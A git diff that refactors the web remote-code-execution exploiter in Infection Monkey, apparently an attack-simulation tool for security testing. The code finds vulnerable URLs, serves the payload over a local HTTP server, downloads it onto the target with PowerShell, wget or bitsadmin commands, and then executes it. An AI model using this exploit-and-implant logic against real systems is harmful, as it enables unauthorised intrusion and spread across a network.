diff --git a/infection_monkey/exploit/tools.py b/infection_monkey/exploit/tools.py index 08cc94af1..1b7f32003 100644 --- a/infection_monkey/exploit/tools.py +++ b/infection_monkey/exploit/tools.py @@ -410,8 +410,6 @@ class HTTPTools(object): return None, None httpd = LockedHTTPServer(local_ip, local_port, src_path, lock) - - httpd.daemon = True httpd.start() lock.acquire() return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd @@ -515,7 +513,7 @@ def get_monkey_depth(): def get_monkey_dest_path(url_to_monkey): """ - Gets destination path from source path. + Gets destination path from monkey's source url. :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe :return: Corresponding monkey path from configuration """ diff --git a/infection_monkey/exploit/web_rce.py b/infection_monkey/exploit/web_rce.py index e86f3b2a6..97708ab24 100644 --- a/infection_monkey/exploit/web_rce.py +++ b/infection_monkey/exploit/web_rce.py @@ -37,6 +37,7 @@ class WebRCE(HostExploiter): 'win64': self._config.dropper_target_path_win_64} self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.skip_exist = self._config.skip_exploit_if_file_exist + self.vulnerable_urls = [] def get_exploit_config(self): """ @@ -77,38 +78,32 @@ class WebRCE(HostExploiter): return False # Get urls to try to exploit urls = self.build_potential_urls(ports, exploit_config['url_extensions']) - vulnerable_urls = [] - for url in urls: - if self.check_if_exploitable(url): - vulnerable_urls.append(url) - if exploit_config['stop_checking_urls']: - break - self._exploit_info['vulnerable_urls'] = vulnerable_urls + self.add_vulnerable_urls(urls, exploit_config['stop_checking_urls']) - if not vulnerable_urls: + if not self.vulnerable_urls: return False # Skip if monkey already exists and this option is given - if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]): LOG.info("Host %s was already infected under the current configuration, done" % self.host) return True # Check for targets architecture (if it's 32 or 64 bit) - if not exploit_config['blind_exploit'] and not self.set_host_arch(vulnerable_urls[0]): + if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]): return False # Upload the right monkey to target - data = self.upload_monkey(vulnerable_urls[0], exploit_config['upload_commands']) + data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands']) if data is not False and data['response'] is False: return False # Change permissions to transform monkey into executable file - if self.change_permissions(vulnerable_urls[0], data['path']) is False: + if self.change_permissions(self.vulnerable_urls[0], data['path']) is False: return False # Execute remote monkey - if self.execute_remote_monkey(vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: + if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False: return False return True @@ -202,6 +197,23 @@ class WebRCE(HostExploiter): LOG.info("No attack url's were built") return url_list + def add_vulnerable_urls(self, urls, stop_checking=False): + """ + Gets vulnerable url(s) from url list + :param urls: Potentially vulnerable urls + :param stop_checking: If we want to continue checking for vulnerable url even though one is found (bool) + :return: None (we append to class variable vulnerable_urls) + """ + for url in urls: + if self.check_if_exploitable(url): + self.vulnerable_urls.append(url) + if stop_checking: + break + if not self.vulnerable_urls: + LOG.info("No vulnerable urls found, skipping.") + # We add urls to param used in reporting + self._exploit_info['vulnerable_urls'] = self.vulnerable_urls + def get_host_arch(self, url): """ :param url: Url for exploiter to use @@ -282,6 +294,21 @@ class WebRCE(HostExploiter): self.host.os['machine'] = arch return True + def run_backup_commands(self, resp, url, dest_path, http_path): + """ + If you need multiple commands for the same os you can override this method to add backup commands + :param resp: Response from base command + :param url: Vulnerable url + :param dest_path: Where to upload monkey + :param http_path: Where to download monkey from + :return: Command's response (same response if backup command is not needed) + """ + if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: + LOG.info("Powershell not found in host. Using bitsadmin to download.") + backup_command = RDP_CMDLINE_HTTP % {'monkey_path': dest_path, 'http_path': http_path} + resp = self.exploit(url, backup_command) + return resp + def upload_monkey(self, url, commands=None): """ :param url: Where exploiter should send it's request @@ -290,39 +317,31 @@ class WebRCE(HostExploiter): :return: {'response': response/False, 'path': monkeys_path_in_host} """ LOG.info("Trying to upload monkey to the host.") - src_path = get_target_monkey(self.host) - if not src_path: - LOG.info("Can't find suitable monkey executable for host %r", host) + if not self.host.os['type']: + LOG.error("Unknown target's os type. Skipping.") return False - # Determine which destination path to use - LOG.debug("Monkey path found") - path = self.get_monkey_upload_path(src_path) - if not path: + paths = self.get_monkey_paths() + if not paths: return False # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path) + http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths['src_path']) if not http_path: LOG.debug("Exploiter failed, http transfer creation failed.") return False LOG.info("Started http server on %s", http_path) - if not self.host.os['type']: - LOG.error("Unknown target's os type. Skipping.") - return False # Choose command: if not commands: commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD} - command = self.get_command(path, http_path, commands) + command = self.get_command(paths['dest_path'], http_path, commands) resp = self.exploit(url, command) - if not isinstance(resp, bool) and POWERSHELL_NOT_FOUND in resp: - LOG.info("Powershell not found in host. Using bitsadmin to download.") - backup_command = RDP_CMDLINE_HTTP % {'monkey_path': path, 'http_path': http_path} - resp = self.exploit(url, backup_command) + resp = self.run_backup_commands(resp, url, paths['dest_path'], http_path) + http_thread.join(DOWNLOAD_TIMEOUT) http_thread.stop() LOG.info("Uploading process finished") - return {'response': resp, 'path': path} + return {'response': resp, 'path': paths['dest_path']} def change_permissions(self, url, path, command=None): """ @@ -421,6 +440,21 @@ class WebRCE(HostExploiter): "custom dict of monkey's destination paths") return False + def get_monkey_paths(self): + """ + Gets local (used by server) and destination (where to download) paths. + :return: dict of source and destination paths + """ + src_path = get_target_monkey(self.host) + if not src_path: + LOG.info("Can't find suitable monkey executable for host %r", host) + return False + # Determine which destination path to use + dest_path = self.get_monkey_upload_path(src_path) + if not dest_path: + return False + return {'src_path': src_path, 'dest_path': dest_path} + def get_default_dropper_path(self): """ Gets default dropper path for the host. diff --git a/infection_monkey/transport/http.py b/infection_monkey/transport/http.py index 72664f0ab..b65fda4e9 100644 --- a/infection_monkey/transport/http.py +++ b/infection_monkey/transport/http.py @@ -204,6 +204,7 @@ class LockedHTTPServer(threading.Thread): self._stopped = False self.lock = lock threading.Thread.__init__(self) + self.daemon = True def run(self): class TempHandler(FileServHTTPRequestHandler):